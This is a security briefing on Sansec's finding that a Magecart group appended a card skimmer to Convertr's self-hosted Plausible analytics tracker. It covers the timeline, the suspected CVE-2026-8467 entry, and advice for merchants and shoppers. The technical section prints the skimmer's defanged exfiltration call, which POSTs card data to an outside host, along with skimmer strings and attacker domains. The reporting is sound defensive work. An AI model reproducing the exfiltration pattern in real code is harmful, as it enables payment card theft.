Sansec says a Magecart group hid a card skimmer in Convertr's analytics script, loaded on every checkout

79 hours 51 minutes from the last clean copy to the reported removal

Sansec, a Dutch ecommerce security firm, says the last clean copy of Convertr's analytics tracker that it observed was at 05:03 UTC on 24 October 2026. Its timeline says Convertr reported the skimmer removed at 12:54 UTC on 27 October. That is 79 hours 51 minutes (derived). Sansec says every Convertr checkout loads that tracker, that a card skimmer had been appended to it, and that the skimmer sent card number, expiry, CVV, cardholder name and CPF to a server at 1x0.is. Sansec also warns that browsers can keep an infected script for up to 24 hours, which would stretch the outer window to 103 hours 51 minutes (derived).

What that does not establish. It is not a count of victims, of cards or of payments. It is a ceiling set by two observations, not a record of when the file was changed: Sansec does not date the first change, and its own last clean copy and its detection at 23:22 UTC both fall on 24 October, so the file was changed on that day at the latest. No source read gives the number of Convertr shoppers who paid in the window, the number of records that reached 1x0.is, or any confirmed fraud. The suspected way in is a flaw Sansec says it could not confirm, because it has not seen Convertr's server logs. And everything about the fix rests on Sansec relaying what Convertr told it: no statement from Convertr itself was found.

This briefing reads Sansec's research page of 26 October (updated 27 October) in full, and treats it as the primary. It is the only place the skimmer code, the indicators and the timestamps are printed. BleepingComputer's report of 27 October, 20:57 UTC, and Infosecurity Magazine's report of the same day on a different Sansec finding were read as pointers and are cited as secondary. The vulnerability records (the GitHub advisories, the NVD entry and the CISA Known Exploited Vulnerabilities feed) and Convertr's own home page were read as well. Everything was read between 21:30 and 21:45 GMT on Tuesday 27 October 2026. Hours and day counts are this site's arithmetic and are labelled derived. Sansec sells ecommerce security products (a malware scanner, a service it describes as blocking known Magento attacks, and CSP monitoring), so it has a commercial interest in stories about stores being skimmed.

Stated and not stated: what Sansec's page establishes

The table sets what Sansec's page states, with BleepingComputer where it adds or differs, against what neither states. "Not stated" means not found in the pages read. It does not mean the information does not exist.

BleepingComputer's report matches Sansec's on these points, including that the entry route is suspected and has not been confirmed. Its headline says the hackers "hijack" the script, which is a fair label for a changed file, but it is the secondary account. Where the two differ in detail, this briefing follows Sansec. Two such details: BleepingComputer's version of Convertr's notifications omits the authorities, and it converts the sales figure to dollars, where Sansec converts to euros.

Zoom

How one changed file reached every checkout

Zoom

Plausible is an open source analytics product, and Sansec says Convertr runs its free Community Edition on its own server at analytics.convertr.app.br. Plausible serves the tracker straight from a file on disk, and Sansec puts the consequence plainly: "An attacker who changes that file infects every site that embeds the tracker." Every Convertr merchant loads that one file. The change was an obfuscated block of character codes appended after the genuine script. It is decoded into a string and run by a call to eval.

The skimmer "only activates on checkout.convertr pages". That detail does two things. It keeps the injected code quiet on every page where nobody pays, and it means a scan of a merchant's home or product pages would see an ordinary analytics script with an odd tail. The second point is this site's inference, not Sansec's. Sansec does not say whether the skimmer tries to avoid scanners, and it describes no fingerprinting. It does say the group updated the code twice in two days: the version seen on 24 October used generic field patterns, and by 26 October a new version targeted the exact field names of Convertr's payment API.

The data leaves by an ordinary browser request. Sansec prints the call: a fetch POST to https://1x0.is/ws with a base64 encoded body, with the mode set to no-cors and keepalive set. The record is pipe delimited, ends in the tag ctr, and Sansec says that tag is a short victim label (here, Convertr). The same page lists the group's habits since 2024: Portuguese endpoint names such as cartao.php and pagamento.php, three letter .is domains that change every few months, and skimmers aimed at Brazilian payment methods (e.Rede, PagSeguro, Pagar.me, Mercado Pago, and a variant that swaps the PIX payment QR code for the attacker's). Until now, Sansec says, the group hacked stores one at a time, and Convertr is the first supply chain attack it has seen from it.

The clock, and the arithmetic

Zoom

Two of those intervals matter for a reader. The first is 61 hours 32 minutes from detection to reported removal. In that time Sansec says it notified Convertr, received no response before publication, and that Convertr was still serving the skimmer at 15:34 UTC on 26 October. The second is the cache tail. If a shopper's browser fetched the infected file at the last moment, Sansec says it can run for up to 24 hours more, so the exposure of a shopper is not over when the file on the server is clean. Sansec's advice to shoppers who paid on a Convertr checkout since 24 October is to ask their bank to block and replace the card and to watch for fraud with their CPF.

The suspected entry: a CVE number that names a library, not Plausible

Sansec says Convertr installed Plausible Community Edition 3.0 in 2025 and never updated it, and that versions 3.0.0 through 3.2.0 carry a critical flaw: anyone can run commands on the server "through a component library that Plausible exposed at /storybook without a login". The records read back that up with one wrinkle. Plausible's own GitHub advisory is titled "Unauthenticated remote code execution via /storybook endpoint", rated Critical (CVSS 4.0 score 9.5), affects images from 3 up to but not including 3.2.1, and is patched in 3.2.1, which removes the endpoint. It lists the CVE as CVE-2026-8467 and says it relates to a second advisory. That second advisory, from the component library's maintainers, covers phoenix_storybook, versions above 0.5.0 and below 1.1.0, fixed in 1.1.0.

The NVD record for CVE-2026-8467 agrees: the vulnerable product it names is the phoenix_storybook library (0.5.0 up to 1.1.0), not Plausible. NVD shows it as published on 20 May 2026 with status Deferred, a CVSS 4.0 base score of 9.5 supplied by the CVE numbering authority that filed it, and a CISA assessment in the record of exploitation "poc", automatable "yes" and technical impact "total". The CISA Known Exploited Vulnerabilities feed, in the release dated 19:00 UTC on 27 October 2026, does not list CVE-2026-8467. So the number is correct for the flaw, but a search of vendor advisories for Plausible alone would not have found it under that number.

The three dates are not the same event, and the pages read do not reconcile them: Sansec's 15 May is not on Plausible's advisory, which shows 3 June. Whichever is right, a fixed version had been public for between 143 and 162 days (derived) when the skimmer was found on a server Sansec says was still on 3.0. That is Sansec's claim about Convertr's version. It could not see the logs, and Convertr has not been read confirming it. The advisory's own advice for anyone on an affected version is to review access logs for requests to /storybook, and if any look suspicious, "assume the container environment was compromised and rotate all secrets accessible from the container".

The 953 stores report is a different Sansec finding

The same day, Infosecurity Magazine reported that attackers "have infected 953 online stores, mostly running Magento, with a JavaScript loader" that tells scanners apart from shoppers. That comes from a separate Sansec page, published on 24 October, about a loader domain called deepveindrilling.com. Nothing in either Sansec page says the two are the same actor or the same campaign. The Convertr page lists the 953 report only among its related research links and makes no statement about it. In the text of the 953 report, the words Convertr, Brazil and 1x0.is do not appear (a search of the saved page, derived), and it does not say what the loader finally delivers. This briefing therefore builds on the Convertr report alone and treats the 953 stores as a separate story.

The scanner evasion in the 953 report, in words: the loader's newest version sends a fingerprint of the visitor's browser to the attacker's server before anything else happens. The fingerprint flags automated browsers, and the server decides what to return. When the urlscan.io service loaded an infected store with an automated Chrome browser, Sansec says it got an ordinary HTTP 200 and no added content. A different finding, on a different platform, with a different known purpose. An earlier briefing on this site covers another card skimming story for readers who want the wider pattern.

Analytics is a label, not a control

Several comfortable words do work in this story. The table sets each against what it leaves open. The last column's reasoning is this site's, drawn from what Sansec describes.

The point for a store owner is that a payment page runs every script on it with the same standing, whatever the script is called. A tag labelled analytics, marketing or chat that loads on checkout is a payment page script, and its owner has the same access to the card form as the shop does. Here the owner was not even a stranger. It was the platform, which is why every merchant was exposed at once.

One more word. BleepingComputer says Convertr "powers online stores and checkout systems for dozens of major fashion brands in the country" and handles R$2 billion in sales. Sansec says Convertr says its merchants have sold more than R$2 billion. Convertr's home page says, in Portuguese, that its ecosystem has moved "mais de 2 bilhões em vendas". None of them says how much of that went through a card checkout, so the R$2 billion measures the platform's reach, not exposure.

Technical details

Everything in the blocks below is printed by Sansec on its research page of 26 October 2026 (updated 27 October), read on 27 October 2026, except where a block says it is this site's own. Live infrastructure is defanged here (hxxps and [.]), which is the only change to the text. No working skimmer is printed: Sansec publishes the exfiltration call and the indicators, and the obfuscated body is not reproduced.

Block one is the exfiltration code Sansec prints. It builds one record from the stolen fields and sends it by an ordinary browser request. Sansec describes the record as card number, month, year, CVV, CPF and name, then a victim tag, and does not explain the variable letters. A defender uses it to know what to look for in browser and proxy logs: a POST to a third party host from a checkout page.

var raw = D.c + "|" + D.m + "|" + D.y + "|" + D.v + "|" + (D.p || "") + "|" + (D.n || "") + "|ctr";
fetch("hxxps://1x0[.]is/ws", {
  method: "POST",
  body: btoa(unescape(encodeURIComponent(raw))),
  mode: "no-cors",
  keepalive: true,
});

Block two is Sansec's indicator list for this incident: the exfiltration address, the infected file and its hash on 26 October, and two strings found in the skimmer. A defender searches web proxy, DNS and CSP report logs for the address, and compares the hash and the strings against any copy of the tracker held in a cache or a backup. The hash is of the infected file, so it will not match a clean one.

# Exfiltration
hxxps://1x0[.]is/ws
hxxps://1x0[.]is/ws/<base64>
# Infected file, sha256 on 26 October
hxxps://analytics[.]convertr[.]app[.]br/js/script.pageview-props.tagged-events.js
ee4618d24737eff785e5a267b55903d5ef6ff7ecbeb099347a67fee77734d7f7
# Skimmer strings
indexOf('checkout.convertr')
_s+=String.fromCharCode(_a[_i]);(0,eval)(_s)

Block three is the group's earlier infrastructure, which Sansec lists as "earlier exfiltration domains of the same group" and Discord webhooks it used, by webhook ID. The IDs are printed without their secret tokens and are only an address to look for; nothing here can be used to post to a webhook. A defender checks outbound logs for these names going back to July 2024, the date Sansec gives for the group's first activity, because a hit on any of them from a payment page on an older store points to the same operator.

# Earlier exfiltration domains of the same group
snf[.]is
kk[.]land
nmn[.]is
kof[.]one
anl[.]is
xsox[.]diy
eqp[.]is
shy[.]is
blz[.]is
tray[.]is
miorl[.]net
xwv[.]is
fasthook[.]app
antiddos-protection[.]net
# Discord webhooks used for exfiltration, by webhook ID
discord[.]com/api/webhooks/1349318491479605268
discord[.]com/api/webhooks/1349948669419327508
discord[.]com/api/webhooks/1351613753069801583
discord[.]com/api/webhooks/1398562090934993036
discord[.]com/api/webhooks/1414969348262596778
discord[.]com/api/webhooks/1557650706259902495

Block four is the vendor side for anyone who runs Plausible Community Edition themselves. The first lines are Plausible's own advisory text on the fix, the workaround and the signs of compromise (GitHub advisory GHSA-mhcv-h7gf-57cf, read 27 October 2026). The last lines are Sansec's advice for a server where requests to /storybook turn up. A defender checks the version first, then the logs, then the files.

Affected versions: >=3 and < 3.2.1
Patched versions: 3.2.1
Update any instances of Plausible Community Edition that are running affected versions to the image ghcr.io/plausible/community-edition:v3.2.1, which removes the vulnerable endpoint.
If you cannot update the image immediately, block access to the /storybook endpoint at your reverse proxy or firewall level.
Review your access logs for any requests to /storybook.
Indications of Compromise: Unexpected access to the /storybook endpoint; Unfamiliar processes or network connections originating from the plausible container

If you run Plausible CE yourself, upgrade to 3.2.1 or later and search your access logs for requests to /storybook. If you find any, rebuild the server, rotate its secrets and compare the files in priv/tracker/js/ with the official release.

Block five is this site's own, not Sansec's, and is labelled derived. It shows the shape of two browser controls that would have changed this incident: a script policy that names a hash rather than a host, and a limit on where the page may send data. The host names are placeholders. Whether either would work on a given checkout depends on how the platform builds its pages, which the sources do not describe, so treat it as a starting point for testing in report only mode first.

Content-Security-Policy-Report-Only:
  script-src 'self' 'sha256-<hash of the exact file you serve>';
  connect-src 'self' https://payments.example.com;
  report-to csp-endpoint

What to do, in the order worth doing

Three lists follow: for a merchant or platform that serves scripts on payment pages, for anyone who runs Plausible Community Edition, and for shoppers. Where an item comes from Sansec or the Plausible advisory it says so. Everything else is this site's reasoning from what the sources describe. The sources read do not mention any card industry or regulatory standard, so none is cited.

What could not be verified

• Convertr's own statement. None was found. Its home page carried no notice. What Convertr said about removal, patching and notification is Sansec's account, and BleepingComputer says Convertr had not replied to it.
• The entry route. Sansec calls CVE-2026-8467 a suspicion and says it has not seen the server logs.
• The fix dates. Sansec's 15 May for the Plausible fix is not on Plausible's advisory page, which shows 3 June. The two were not reconciled. The release date of version 3.2.1 itself was not read, because the release page that was tried returned a not found response.
• Victims. No count of shoppers, orders, cards or fraud cases. No bank, scheme or regulator statement.
• The group. The attribution to a Brazilian Magecart group is Sansec's, from patterns in its own records.
• The first change. Sansec does not date it. Only 24 October, by the clean copy and the detection, is inferred.
• Standards. Neither Sansec nor BleepingComputer mentions PCI DSS or any other requirement, so none is cited.
• BleepingComputer's dollar figure. It converts R$2 billion to $370M. Sansec converts it to about 320 million euros. Neither conversion was checked and neither is used here.
• Time stamped. Read between 21:30 and 21:45 GMT on 27 October 2026. A page, a hash or a clean verdict could change within hours, and the incident was still moving on the day.

The question that exposes the gap

If one file on a server you do not control changed tonight and ran on your payment page, which of your controls would notice before a shopper's bank did, and how many hours would pass before you could say which orders were in the window?

Key facts